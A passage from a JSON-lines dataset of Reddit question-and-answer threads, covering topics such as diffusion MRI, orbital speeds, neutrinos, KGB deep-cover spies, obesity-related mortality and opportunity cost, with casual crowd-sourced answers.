*gradient*. Generally an MRI machine consists of a large, powerful, static (as in, doesn't change), tube-shaped magnet and a set of three smaller, less powerful, dynamic gradient magnets. While the static magnetic field is designed to be as even (homogenous) as possible, the gradient fields are designed to vary over space. Each gradient varies over a different spatial dimension, so we have an *x*-gradient, a *y*-gradient, and a *z*-gradient. Now what do the gradient fields do? They make the *strength* of the field a function of location (note they don't change the direction of the field). So if we turn on the *x*-gradient, the field will be, say, 3 tesla at the center of the magnet (*x*=0, the isocenter, it's called), 3 tesla - 40 gauss (2.996 tesla) at the position *x*=-10cm, and 3 tesla + 40 gauss at *x*=+10cm.\n\nOk that's the first bit of background. Now the second. When put in a strong magnetic field, some atomic nuclei generally line up with that field, but they also \"wobble\" (or precess), spinning around the axis of the field. The frequency of that wobble is directly proportional to the strength of the magnetic field. So in our example with the gradient above, a hydrogen nucleus at *x*=-10cm will wobble a little more slowly than one at *x*=+10cm.\n\nIn the course of acquiring an MR image, we wait for all the nuclei to settle down (so they're pointing more or less along the field) then we whang them with a powerful burst of radiofrequency energy that knocks them over (relative to the direction of the field). Then we record the signal given off while the nuclei precess and gradually realign with the field. This signal has both strength (magnitude) and direction (phase).\n\nTo diffusion-weight an image, we apply a gradient, wait a bit, then apply the opposite gradient. Non-moving nuclei will spin a little faster (or slower) during the first gradient, then spin a little slower (or faster) during the second gradient, but in the end the combination of the two gradients will have no effect. If a nucleus moved between the two gradients, however, the effects of the gradients won't cancel each other out, and the nucleus will end up a little ahead (or behind) in its wobble from where it would have been had no gradient been applied. This is the key insight that makes diffusion weighted imaging possible: if a nucleus moves between the two gradients, the direction that it's pointing will be different than if it hadn't moved. We say that such a nucleus has undergone a *phase shift* because its phase (where it is in its wobbling oscillation) is shifted relative to where it should be.\n\nSo you might be getting an idea of how this is going to work, but there's another important wrinkle. In MRI we don't of course measure single nuclei, we measure the average of TONS of nuclei. For a standard scan the resolution might be something like 3x3x3mm, for a total of 27mm^3. That's a lot of hydrogen nuclei, in something as wet as the brain. So what we see in the MR image is actually an average of the signal from all the billions (trillions?) of hydrogen nuclei in that chunk of brain. When we first excite the brain with our radio pulse, all the wobbling spins for all these nuclei are lined up. But when some of those nuclei moved between the two gradients, they don't all line up anymore! Ones that moved one direction will be \"behind\" in the wobbling oscillation, and others will be \"ahead\". The important effect is that these signals will now partially cancel each other out, leaving you with a reduced total signal from that part of the brain.\n\nOk so far: we excite the brain, apply a gradient in some specific direction, apply the opposite gradient, then measure the signal. If that signal is high, we know there isn't much diffusion in the direction of the gradient. If the signal is low, we know there is quite a bit of diffusion in that direction. In order to find the direction that has the most diffusion (and make the [fancy pictures](_URL_0_)) we need to repeat this procedure with dozens of different gradient directions and combine the results. ", "It would also help if we know how much you know about NMR or MRI - then we can tailor the explanation of the mechanisms (especially [relaxation](_URL_0_)) for you.\n\nAddendum: In short, diffusion MRI tests the diffusion rate of water using pulsed field gradients, which changes the percession frequency of water depending on position; perfusion-weighted MRI uses a contrasting agent to increase relaxation of water, so you can track the relaxation through a blood vessel after injection of the agent.", "I don't know much about perfusion, but I think I can give a relatively intuitive description of diffusion imaging. And by intuitive I mean actually quite in-depth. This is too long to proofread, so let me know if something doesn't make sense.\n\nThe brain is (largely) composed of a thin sheet of neurons (the cortex, or grey matter) that are connected to each other via greasy little wires called axons, which make up much of the interior of the brain (or white matter). We want to be able to map these axons, to say whether there are anatomical connections between different brain areas. Diffusion imaging is a useful tool for doing this. It measures how much water (well, hydrogen nuclei, which there are a lot of in water) is moving in different directions. Because the axons are like long hollow noodles wrapped in layers of lard, water tends to move along the axons rather than across them. But how can we get that information from a magnetic field?\n\nI'll start at the beginning. The primary tool in the MRI kit is the *gradient*. Generally an MRI machine consists of a large, powerful, static (as in, doesn't change), tube-shaped magnet and a set of three smaller, less powerful, dynamic gradient magnets. While the static magnetic field is designed to be as even (homogenous) as possible, the gradient fields are designed to vary over space. Each gradient varies over a different spatial dimension, so we have an *x*-gradient, a *y*-gradient, and a *z*-gradient. Now what do the gradient fields do? They make the *strength* of the field a function of location (note they don't change the direction of the field). So if we turn on the *x*-gradient, the field will be, say, 3 tesla at the center of the magnet (*x*=0, the isocenter, it's called), 3 tesla - 40 gauss (2.996 tesla) at the position *x*=-10cm, and 3 tesla + 40 gauss at *x*=+10cm.\n\nOk that's the first bit of background. Now the second. When put in a strong magnetic field, some atomic nuclei generally line up with that field, but they also \"wobble\" (or precess), spinning around the axis of the field. The frequency of that wobble is directly proportional to the strength of the magnetic field. So in our example with the gradient above, a hydrogen nucleus at *x*=-10cm will wobble a little more slowly than one at *x*=+10cm.\n\nIn the course of acquiring an MR image, we wait for all the nuclei to settle down (so they're pointing more or less along the field) then we whang them with a powerful burst of radiofrequency energy that knocks them over (relative to the direction of the field). Then we record the signal given off while the nuclei precess and gradually realign with the field. This signal has both strength (magnitude) and direction (phase).\n\nTo diffusion-weight an image, we apply a gradient, wait a bit, then apply the opposite gradient. Non-moving nuclei will spin a little faster (or slower) during the first gradient, then spin a little slower (or faster) during the second gradient, but in the end the combination of the two gradients will have no effect. If a nucleus moved between the two gradients, however, the effects of the gradients won't cancel each other out, and the nucleus will end up a little ahead (or behind) in its wobble from where it would have been had no gradient been applied. This is the key insight that makes diffusion weighted imaging possible: if a nucleus moves between the two gradients, the direction that it's pointing will be different than if it hadn't moved. We say that such a nucleus has undergone a *phase shift* because its phase (where it is in its wobbling oscillation) is shifted relative to where it should be.\n\nSo you might be getting an idea of how this is going to work, but there's another important wrinkle. In MRI we don't of course measure single nuclei, we measure the average of TONS of nuclei. For a standard scan the resolution might be something like 3x3x3mm, for a total of 27mm^3. That's a lot of hydrogen nuclei, in something as wet as the brain. So what we see in the MR image is actually an average of the signal from all the billions (trillions?) of hydrogen nuclei in that chunk of brain. When we first excite the brain with our radio pulse, all the wobbling spins for all these nuclei are lined up. But when some of those nuclei moved between the two gradients, they don't all line up anymore! Ones that moved one direction will be \"behind\" in the wobbling oscillation, and others will be \"ahead\". The important effect is that these signals will now partially cancel each other out, leaving you with a reduced total signal from that part of the brain.\n\nOk so far: we excite the brain, apply a gradient in some specific direction, apply the opposite gradient, then measure the signal. If that signal is high, we know there isn't much diffusion in the direction of the gradient. If the signal is low, we know there is quite a bit of diffusion in that direction. In order to find the direction that has the most diffusion (and make the [fancy pictures](_URL_0_)) we need to repeat this procedure with dozens of different gradient directions and combine the results. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Magnetic_relaxation"], ["http://en.wikipedia.org/wiki/File:Illus_dti.gif"], ["http://en.wikipedia.org/wiki/Magnetic_relaxation"], ["http://en.wikipedia.org/wiki/File:Illus_dti.gif"]]}
{"q_id": "38xavf", "title": "How do: planetary, interstellar, and intergalactic space relate and differ?", "selftext": "I learned in a first year astronomy course that the universe expands between the galaxies and not between the planets or stars; I also have heard of [vacuum energy](_URL_0_), would the energy be any different on an intergalactic scale?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/38xavf/how_do_planetary_interstellar_and_intergalactic/", "answers": {"a_id": ["crytgb8", "crzcm5t"], "score": [16, 5], "text": ["Hi there,\n\nThere are actually differences between these because you're right, space is a vacuum, but it's not a *true* vacuum.  The vacuum part starts around 100km up from Earth, but there's still quite a bit of atmospheric particles as well as particles from the sun in our Solar System, and this is enough to create drag on satellites as they orbit Earth for example.\n\nWhen you start going outside the Solar System though things get a little closer to a vacuum.  As a rule of thumb, there is one atom per cubic meter of interstellar space, and one atom in 10 cubic meters per intergalactic space.  So basically, less and less random atoms the further you get from the \"stuff\" in the universe, which is more or less what you'd expect.\n\nHope that answers your question!", "The reason we see expansion between galaxies, but not planets and stars, is that galaxies are not usually gravitationally bound to one another (exception, galactic clusters). Everything within a galaxy is gravitationally bound together, so as space expands, the galaxy stays the same. If you separated all the components of a galaxy to the point where they were no longer bound together, then they too would expand away from each other with the expansion."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Vacuum_energy"], "answers_urls": [[], []]}
{"q_id": "34fhfn", "title": "Is that neutrino have a life time? (If yes how much?)", "selftext": "Also i want to know how much time took a neutrino from sun to pass by earth? Can we in the future have more capacity to use neutrino (create them send them and receive them)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34fhfn/is_that_neutrino_have_a_life_time_if_yes_how_much/", "answers": {"a_id": ["cqu559h", "cqu65s9"], "score": [2, 3], "text": ["Neutrinos travel very close to the speed of light, so it takes roughly 8 minutes to get here from the sun. There are some very early proposals to use neutrinos for communication (which would be useful for going directly through the Earth/ocean) but the technology is not very developed.\n\n_URL_0_\n", "They do not have a life time - they are generally stable on their own and do not decay in to something else.\n\nWe can generate neutrinos in nuclear reactions (reactors and bombs) or with particle accelerators. There has been thought of using them as probes, or as a communication device. Experiments have been done to use them to communicate. However, the difficulties in generating (sending) and detecting (receiving) them makes them impractical for the time being."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://physicsworld.com/cws/article/news/2012/mar/19/neutrino-based-communication-is-a-first"], []]}
{"q_id": "3d6ad1", "title": "Did the Roman's have a protocol for the first contact with new tribes or people ( for example newly contacted Germanic tribes)?", "selftext": " Who would go to them to to offer terms or treaties? Would they usually go with a show of force like the backing of a Legion or a smaller diplomatic group?  Would this always be under the direct authority of the Senate or Emperor, or would a local governor or military general be able to authorise such action?  I would be interested in examples.  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3d6ad1/did_the_romans_have_a_protocol_for_the_first/", "answers": {"a_id": ["ct37k8f"], "score": [2], "text": ["If you're asking for contact during the Roman Republic, it was really anything goes. How the contact went largely depended on how big of a threat they were to Rome or its peripheries.  Gallic tribes were militarily a huge threat to Rome and its colonies along the border of Italy, so there was a larger incentive for war rather than diplomacy. But for just general authority of wars, usually the senate as well the tribunes and assemblies would decide whether or not to go to war, and the advice of the senate was generally followed. From that point the elected Consuls were free to wage the war. A simple google search for the political structure of the Roman Republic will probably do a much better job at explaining this than I can! \n\nOne huge example is actually Caesar during the Gallic Wars that lasted from ~58-50 bce. For this, the military was taken from Rome as well as local \"bases\" in the area. He gained a lot of prominence for conquering Gaul, which boosted his political career. In fact, you can read his personal account of those wars in *Commentarii de Bello Gallico*!\n\nMain Source: Boatwright, Mary Taliaferro., Daniel J. Gargola, Richard J. A. Talbert, and Mary Taliaferro. Boatwright. A Brief History of the Romans. New York: Oxford UP, 2006. Print."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5nx7gj", "title": "Do surface imperfections significantly increase the surface area of an object?", "selftext": "For instance, is there a significant difference between a 1x1x1 cube made out of wood vs a mathematically perfect 1x1x1 cube? What types of material or what manufacturing methods having an interesting effect on this phenomena?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5nx7gj/do_surface_imperfections_significantly_increase/", "answers": {"a_id": ["dcf0dzj", "dcf9fra", "dcfellr", "dcfwukf", "dcfx3co", "dcg3kg4"], "score": [95, 11, 6, 2, 3, 2], "text": ["You've stumbled upon one of my favorite little things: the [coastline length paradox](_URL_0_) which says that the scale at which you measure something can dramatically change the value you get. It is commonly thought of as the problem of someone measuring the length of coastline. If you measure it by, say, driving a car along the coast in a basically straight line you get a much shorter answer than if you were to measure around every outcropping, which would be shorter than if you measured around every rock. In theory, there is no limit to how long of a coastline you could measure if you chose to measure around on the small enough scale (outcrop for every little piece of sand). \n\nSo yes, a rough cube does have more surface area than a smooth one, but how much more depends on which level you measure. ", "Yes. In fact, this is exploited heavily in creating things that are supposed to distribute thermal energy. We fold objects to maximize surface area in some cases, because more exposed area relates to how quickly heat moves. This applies at all levels of magnification, but at the small scale becomes negligible.\n\nAt the small scale frictional properties are much more noticeable, but I would't really think about those in terms of surface area. It's not hard to get something that seems to be smooth on the macro scale. There is, of course, no such thing as a perfect cube, just ones with negligible deviation depending on your scale.", "As for manufacturing methods, here are two examples that represent a sort of spectrum of surface area conditions.\n\nTo make a carbon fiber waveguide for microwave applications, you wrap some carbon fiber around a mandrel, cook it under controlled temperature and pressure, and then slide it off the mandrel once it cools. We made those mandrels from aluminum because it has a much greater CTE than carbon fiber, which meant that at the curing temperature, the aluminum had expanded and stretched the fibers a bit to make them straighter. When cooled, the mandrel was small enough to slide out of the carbon fiber tube, unless the mandrel wasn't flat and parallel and (especially this) smooth. I would hand polish these mandrels under a stream of cold water up to 1000 grit. This reduced the surface area, which prevented the resin from mechanically binding to the aluminum.\n\nThe opposite scenario: to repair a small hole in a fiberglass hull on a boat, you feather the edges of the hole to create a tapered thickness in the existing fiberglass. You sand it with 80 grit, no finer. Then you make your repair. The problem being solved is making the patch stick while bouncing over the waves. The solution is to increase the surface area under the patch. This works because resins have a fixed rate of adhesion per square inch; increasing the square inches increases the overall strength of the patch. The relatively rough surface allows the resin and fibers of the patch to flow into a larger surface, making both a chemical and mechanical bond.", "If you measure at a microscopic level, you'll measure higher surface area than at macroscopic, however a tiny little piece of wood sticking out may, despite being 3x the surface area let's say of a flat segment instead, not actually have a 3x effect on whatever you care about. Like heat dissipation -- that little sticking out part will lose its heat very quickly and not get enough heat flowing into it through its tiny bottleneck of material at the neck to continue dissipating heat at the rate that you might expect it to be able to based on a similar difference in surface area at a macro level. Because not only the ratio of volume to surface is changing but its relative layout.\n\nWhereas if instead you are looking for chemical reactive surface area, it probably DOES help you as much as you would expect, down to the level of precision that chemistry happens at. But not lower than that. Etc.", "Yes and there are actually machines that are used to measure the effective relevant surface area of a material.  Here are some relevant references:\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_\n\nYou could imagine putting the cube of wood into a vacuum chamber and let the gas on it desorb.  Then weigh the cube of wood, introduce gas into the chamber, let gas stick to the sides of the cube of wood, weigh the cube of wood again, and see how much the mass has increased due to gas sticking to it.  Then you can estimate the effective surface area of the cube from the amount of gas that stuck to it.", "This is a more biology focused response but I think it is an interesting side note worthy of being talked about here.\n\nAll the cells of your body use this principle to increase their surface area. Your mitochondria are responsible for cellular respiration. The inner membrane of your mitochondria are densely folded to achieve more efficient cellular respiration without taking up more room. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Coastline_paradox"], [], [], [], ["http://www.horiba.com/scientific/products/particle-characterization/surface-area-analysis/details/sa-9600-series-938/", "https://en.wikipedia.org/wiki/BET_theory", "http://www.quantachrome.com/technologies/surface_area.html"], []]}
{"q_id": "bkfckl", "title": "how does obesity kill a person?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bkfckl/eli5_how_does_obesity_kill_a_person/", "answers": {"a_id": ["emg9srk", "emgeyc0", "emgfwyt"], "score": [27, 6, 6], "text": ["Imagine a car being driven beyond maximum weight capacity for a long time...the engine will be overworked and give out. Engine = heart (and other organs)", "**nsfw** [imagine your heart trying to work with all of this on it](_URL_0_) Go put on a heavy quilt or blanket on one of your legs, leaving the other leg free and keep lifting them up and down. See how quickly the covered leg gets tired. More fat on your organs, harder they have to work.", "Breathing. Increased incidence of asthma, pulmonary hypertension, and obstructive sleep apnea which is associated with cardiac arrhythmias.\n\nCardiovascular disease.  Obesity increases risk for diabetes and hypertension which are risk factors for stroke and heart attack.  Cholesterol is also commonly elevated which is another risk factor.  The increased weight stresses the heart to work harder exacerbating underlying disease.\n\nCancer.  Obesity has been associated with an increased risk of\u00a0esophageal cancer,\u00a0pancreatic cancer,\u00a0colorectal cancer,\u00a0breast cancer,\u00a0endometrial cancer,\u00a0kidney cancer,\u00a0thyroid cancer, liver cancer\u00a0and\u00a0gallbladder cancer\n\nInfection: infections of the skin and respiratory tract as well as surgical-site infections have consistently been reported to be more common than in normal-weight participants.  Respiratory infections like N1H1 influenza are more fatal in the obese.\n\nBlood clots.  Obesity\u00a0is a well-known risk factor for\u00a0clots\u00a0in deep veins (usually in the legs) and for pulmonary embolism, a\u00a0clot\u00a0in\u00a0blood\u00a0vessels of the lungs that can result in sudden death or strain on the heart. Together, the two conditions are called venous thromboembolism (VTE) is 11 times higher in\u00a0obese\u00a0and short men."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://imgur.com/U8ojdSs.jpg"], []]}
{"q_id": "33x0l5", "title": "why is it that some good question get 2 to 3 comments on /r/askreddit whereas repetitive questions keep making the front page?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33x0l5/eli5why_is_it_that_some_good_question_get_2_to_3/", "answers": {"a_id": ["cqp7tv3", "cqp9ryx", "cqpe05q", "cqpgy4w", "cqpi7tx"], "score": [17, 3, 3, 2, 3], "text": ["Unfortunately there have been no answers as of now.  And this is a good question, and it may just have this lonely, one answer. :(\n\nAnyway, I think it is because the repetitive ones give you a lot more freedom.  People have the creative parts of their brains stimulated(I know nothing about neuroscience).  For example, [a question I posted](_URL_0_)\ndidn't get a lot of responses.  I think this is because it just has *answers*, the successful questions usually give people a lot of leeway in their answers.", "Repetitive questions are familiar, and some people may feel like they didn't get their two cents in because they were drowned out in the last thread, or they thought about it some more after the thread died and came up with a new answer/perspective.  Then when they see the new thread they decide to post it there.\n\nAlso, you have no idea how tempted I was to make this exact thread after I saw yours, in the hopes of sparking a trend :P.", "I think that most of the repetitive questions are quite broad and many people have experienced the situation or, more often, someone in their circle has. The less successful questions sometimes can be covered completely by a few respondents or just not relevant for a lot of people. I guess when a story is needed it gets more people's attention when you are simply looking for an answer.", "The repetitive questions that get a lot of answers are usually the ones that ask for stories. Everyone wants to tell their story (or their friend's story), it's just human nature. Plus, the responses are different every time.", "Like most of reddit quick digestion of content reigns supreme. Those really popular questions are ones where you can go in and drop a one or two sentence answers and leave. People read those, vote, and maybe leave a reply before moving to the next question/answer. \n\nThe really deep thought provoking questions take much more thought and time to answer so much less people are going to bother with the thread. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskReddit/comments/2vprsq/why_in_a_many_old_tv_shows_are_the_main/"], [], [], [], []]}
{"q_id": "215891", "title": "How realistic is the television period drama The Americans?", "selftext": "I have been watching the series [The Americans](_URL_0_. I was wondering how much of that show actually represents what occurred in the Cold War period? Were Russians really spying or have the capability to spy on US soil in the 1980s? Are the tactics that the spies use in this show realistic?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/215891/how_realistic_is_the_television_period_drama_the/", "answers": {"a_id": ["cg9pzsz", "cg9tblq", "cg9v5xl"], "score": [6, 2, 2], "text": ["The closet RL thing to the sort of deep cover illegal that is historically known to have taken place was the KGB agent Konon Molody, aka Gordon Lonsdale.  Molody was stationed in London during the 1950s.\n\nThe main difference between Lonsdale and the TV Americans is that while the identities that Philip and Elizabeth use seem to be made from whole cloth, 'Gordon Lonsdale' was a real person - a Canadian citizen of partial Finnish descent, born in Cobalt, ON but taken back to Finland by his mother at a young age after a messy divorce.  It's presumed Lonsdale died during WW2 and the Soviets got hold of his identity when they captured some Finnish government records.\n\nMolody emigrated to Canada where he assumed Lonsdale's identity, legitimately acquiring Canadian documents, and then moved to London, where he was the KGB's senior illegal operative, passing himself off as a Canadian expat.  Like Phillip and Elizabeth he was a businessman whose work required him to travel (he owned and rented amusement machines).\n\nAnother interesting case, ironically a bit different from Phillip and Elizabeth but in some cases even more successful, was Iosif Grigulevich, a Soviet citizen of Crimean ethnicity who grew up in Argentina.  Relocating to Europe he managed to acquire a Costa Rican passport in a fictional identity and was so successful in ingratiating himself with he Costa Rican government that he was appointed Costa Rican ambassador to Italy!\n\nSo, short answer, yes, the KGB was able to implant operatives in other countries who passed themselves off as natives.  Did they do this in the USA itself?  There are no confirmed cases, but it seems within the realm of plausibility.", "While it is a fictional television show made to entertain, not educate, and pretty much everything seen should be taken with a grain of salt, it does have a few bits and pieces that are based on reality. Joe Weisberg (the shows creator) was a CIA officer at one point, and it does appear he's added some bits to the shows story line that help give some basis of reality to some of the plot points.\n\nFor one, the show shows the two KGB lead characters often resorting to using the \"Honey Pot\" tactic (using sex and emotional attachments to entrap a target) to aid in their recruitment and intelligence gathering efforts. The KGB was notorious for using it's agents to entrap Western officials and personal using sexual blackmail or enticement in order to obtain information.  \n\nOne example is that of John Vassal, a British official posted to the Naval Attache's office in the Moscow Embassy in 1952. Vassal was a homosexual, and as a result, was blackmailed by the Soviet's after they obtained compromising pictures of him with other men, to turn over information from the embassy and later the Admiralty's office in London itself. As far as other tactics (dead drops, number stations, disguises), they are accurate to a degree, though keep in mind, they are heavily used for dramatic effect at times, and aren't something I would point to as always being realistic depictions of their use.\n\nOne other thing to note, the show has had two plot points based on reality. The Toshiba-Kongsberg scandal (machine tools being illegally exported to the Soviet Union) and the beginnings of the \"Star Wars\" (Reagan's ICBM defense system) program have both made appearances so far. Though once again, being a show made to entertain, both of these have been heavily dramatized, and the reality of both of these incidents, is far more tame than the show has made them out to be. It's an entertaining show, but it's akin to watching a James Bond movie and expecting a movie based on reality. \n\nIf you're interested in learning more about the KGB's operational history during the height of the Cold War, two books I highly recommend for general readers are,\n\n\n[*The Sword and the Shield: the Mitrokhin archive and the secret history of the KGB* by Christopher Andrew and Vasili Mitrokhin](_URL_0_)\n\n[*Spymaster : startling cold war revelations of a Soviet KGB Chief* by TH Bagley](_URL_1_)", "I believe one of the major influences on the show is the 2010 capture of 10 Russian spies operating as normal Americans in the US (dubbed the [Illegals Program](_URL_0_)). The agents even had children together and raised families. In at least one case, the agents/parents confessed their true occupation and loyalty to their child, who swore to become a spy for Russia himself."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/The_Americans_(2013_TV_series)"], "answers_urls": [[], ["http://www.worldcat.org/title/sword-and-the-shield-the-mitrokhin-archive-and-the-secret-history-of-the-kgb/oclc/42368608&amp;referer=brief_results", "http://www.worldcat.org/title/spymaster-startling-cold-war-revelations-of-a-soviet-kgb-chief/oclc/861187224&amp;referer=brief_results"], ["http://en.wikipedia.org/wiki/Illegals_Program"]]}
{"q_id": "1asm2f", "title": "Is it possible for planets farther from a sun to have a faster orbit than planets closer to the sun?", "selftext": "would it ever be possible for a planet that is further from a sun than some other planet to have a faster orbit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1asm2f/is_it_possible_for_planets_farther_from_a_sun_to/", "answers": {"a_id": ["c90dri9", "c90dv1l", "c90ej4o", "c90ftuc", "c90hcv2", "c90kga9"], "score": [12, 78, 22, 3, 3, 3], "text": ["Gravity alone in 3D space will not allow this. The force of gravity must balance the centrifugal force to result in a stable orbit. This can only occur when:\n\nv=sqrt(GM/r)\n\nT=2pi*sqrt(r^3 /GM)\n\nwhere v is the planet's tangential velocity, G is the gravitational constant, M is the star's mass, r is the orbital radius, T is the orbital period.\n\nThis is simplified for a circular orbit, but still hold for an elliptical one. Increasing r necessarily decreases v and increases T.\n\nThe only way you can have v increase with increasing r is to apply a stronger inward force (here it was just gravity). This occurs in rigid body rotation, such as a record spinning. But this hardly applies to planetary orbits.\n\nYou could possibly achieve this given the right dark matter distribution:\n\n_URL_0_", "For a circular orbit of an object significantly smaller than the central object, there's a specific orbital velocity for a specific orbital radius.  you can find it with this formula:\n\n    v = sqrt(GM/r)\n\nwhere v is the orbital velocity, G is the [gravitational constant](_URL_0_), M is the mass of the sun (or the central object) and r is the radius of the orbit.\n\n\nSo, in a word: no.", "A planet further from a sun can be faster than a planet closer to the sun momentarily, but not on average, as the mean orbital velocity is governed by the semi-major axis.\n\nSpecifically, if the planet further out has a high eccentricity it may move faster when it is near pariapsis than the other planet.\n\nThis actually happens with Pluto and Neptune - the orbital velocity of Pluto just outside of where it crosses the orbit of Neptune is higher than the orbital velocity of Neptune.\n\n(And yes, I know that Pluto isn't technically a planet)", "As others said, for planet orbiting around a star, it is not possible, but for stars orbiting around the center of the galaxy, things get complicated because of dark matter : [Galaxy rotaion curve](_URL_0_)", "If you look at Kepler's laws, planets closer to the sun will go faster, An orbit could be highly elipitcal and would speed up around the sun. To answer your question, it is nearly impossible.", "Kepler's laws, bro.  a^3 = p^2.  (I think.  I always switch the exponents. )"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Galaxy_rotation_curve"], ["http://en.wikipedia.org/wiki/Gravitational_constant"], [], ["http://en.wikipedia.org/wiki/Galaxy_rotation_curve"], [], []]}
{"q_id": "3e7fhf", "title": "why do scuba divers always have snorkels attached to them even though they're useless underwater?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e7fhf/eli5_why_do_scuba_divers_always_have_snorkels/", "answers": {"a_id": ["ctc69l1", "ctc9uur", "ctcdbtl"], "score": [31, 8, 3], "text": ["Scuba divers sometimes spend time on the surface before a dive. Also, they occasionally have to swim a short distance on the surface before submerging. They use the snorkel in these instances to conserve the air in their tank.\n\nSource: I'm PADI certified. ", "I once got pushed out by the current, and wound up surfacing low on air a quarter mile from the boat.  Having a snorkel was really nice while kicking my way back.\n\nIt is also nice if you have a surface swim out to the site, lets you save on your air.\n\nFinally, they are great to have handy between dives, like when dolphins come by to [play](_URL_0_).", "Many divers chose not to use a snorkel, or will have a collapsible one in a pocket.  However, it is a training requirement for PADI to be wearing your snorkel in the water.\n\nAs others have said when you're swimming on the surface it's much easier and requires less effort if you can just put your head down and relax rather than having to keep your head above water.  \n\nIf water is really rough you can even keep your regulator in your mouth to breath from your tank at the surface.  This way you don't have to worry about waves or water getting you in the face or splashing down your snorkel and you can breath comfortably."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=olCM7KS5hng"], []]}
{"q_id": "1imqs3", "title": "opportunity costs", "selftext": "Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1imqs3/eli5_opportunity_costs/", "answers": {"a_id": ["cb5ybzc", "cb5ygjl", "cb5zsgy", "cb60k8q", "cb6h9m9"], "score": [2, 2, 8, 2, 2], "text": ["\"Opportunity cost\" is the name we give to a value someone loses when they forego a certain opportunity.", "An opportunity cost is what you give up when you make a choice. For example, suppose I came up to you and said that I will give you either an iPhone or a Galaxy S4 for free, but you can only have one. If you choose the iPhone, the opportunity cost of making that choice is the Galaxy S4, and vice versa.", "Explanation through scenario:\n\nLet's assume that if you go to college, then you only go for 4 years and that you don't make any money during that time period. (Not a realistic scenario any more, but it helps to simplify this).\n\nLet's also assume that if you didn't go to college, then you'd be working for about $10/hr full time.\n\n**If you go to college**, then you won't be earning that $10/hr over that 4 years, so economists would considered that a cost to you. The \"opportunity\" to make that money was given up, so it cost you whatever amount of money you could have made.\n\n**If you *don't* go to college**, then there is also an opportunity cost. You won't be earning that additional salary which a higher academic degree will almost certainly get you throughout your lifetime. This is a big opportunity cost by the way! Studies have proven this rather decisively.\n\nGenerally, you want to pick a scenario which minimizes your opportunity cost (but it isn't always that simple). It gets a bit wishy-washy with how you structure and define things, but the idea is simple enough.\n\n\n\n", "**What is opportunity cost?**\n\nSimply, when you decide to allocate resources to one activity you\u2019re forgoing allocating it to an other. This is a simple and straight forward proposition, but the consequences are great.\n\n**Why is it important?**\n\nThe implications of opportunity cost are many. This was epitomized in [Frederic Bastiat\u2019s seminal work \u201cThat Which is Seen, and That Which is Not Seen\u201d]( _URL_0_). He explains that when analyzing economic policy, a good economist should not only take into account \u201cthat which is seen\u201d e.g. the temporary jobs and bridge created by a public works program, but \u201cthat which is not seen\u201d e.g. the sustainable jobs that could have otherwise been created had tax payers been allow to keep their money and, invest it more productive capital equipment (machinery to produce products etc).\n\nI will not argue the validity of public works programs here, as that is another question altogether, suffice to say that it\u2019s important to consider unseen costs and unintended consequences of a particular decision.\n", "A bird in the hand is worth two in the bush.  But is it worth three?  Four? Ten?  What if they were bigger, tastier birds?\n\nThat's where opportunity cost comes in, it is the cost of *not* doing something you could have.\n\nSo if you had a bird, and decided to keep it, you would be giving up on the opportunity to catch the other birds.  And if you went after the other birds, you would lose the opportunity to keep the one you had.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://bastiat.org/en/twisatwins.html"], []]}
{"q_id": "i991r", "title": "Why does ontogeny recapitulate phylogeny?", "selftext": "More specifically, what is it about the nature of development, genetics, and evolution that produces this? Is there any sort of consensus on the proximal and distal causes of this?\n\nBriefly (and broadly!), the idea is that as an embryo develops, it seems to run through its evolutionary history.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i991r/why_does_ontogeny_recapitulate_phylogeny/", "answers": {"a_id": ["c21xgqf", "c21xifn", "c21xkaf"], "score": [15, 9, 2], "text": ["So actually this is a very old concept that was useful but has been abandoned. It may still be taught some places as a teaching tool, but in the details it simply does not hold up. Evolution does not operate by simply adding stages to the end of a life cycle. Changes can occur at any stage but this may or may not affect subsequent life stages. ", "Just to be clear, it does not. \n\n_URL_0_\n\nThe original theory was based on embryonic drawings, which were rather inaccurate. \n\nIt is true that embryos look similar at different stages of development, but humans never actually have gills or a true tail. ", "What I know about this comes from Jerry Coyne's *Why Evolution is True*. I'll quote the relevant part:\n\n > As one group evolves from another, it often adds its development program on top of the old one. Noting this principle, Ernst Haeckel, a German evolutionist and Darwin's contemporary, formulated a 'biogenetic law' in 1866, famously summarized as 'Ontogeny recapitulates phylogeny.' This means that the development of an organism simply replays its evolutionary history. But this notion is true in only a limited sense. Embryonic stages don't look like the adult forms of their ancestors, as Haeckel claimed, but like the embryonic forms of ancestors. Human fetuses, for example, never resemble adult fish or reptiles, but in certain ways they do resemble embryonic fish and reptiles. Also, the recapitulation is neither strict nor inevitable: not every feature of an ancestor's embryo appears in its descendants, nor do all stages of development unfold in a strict evolutionary order. Further more, some species, like 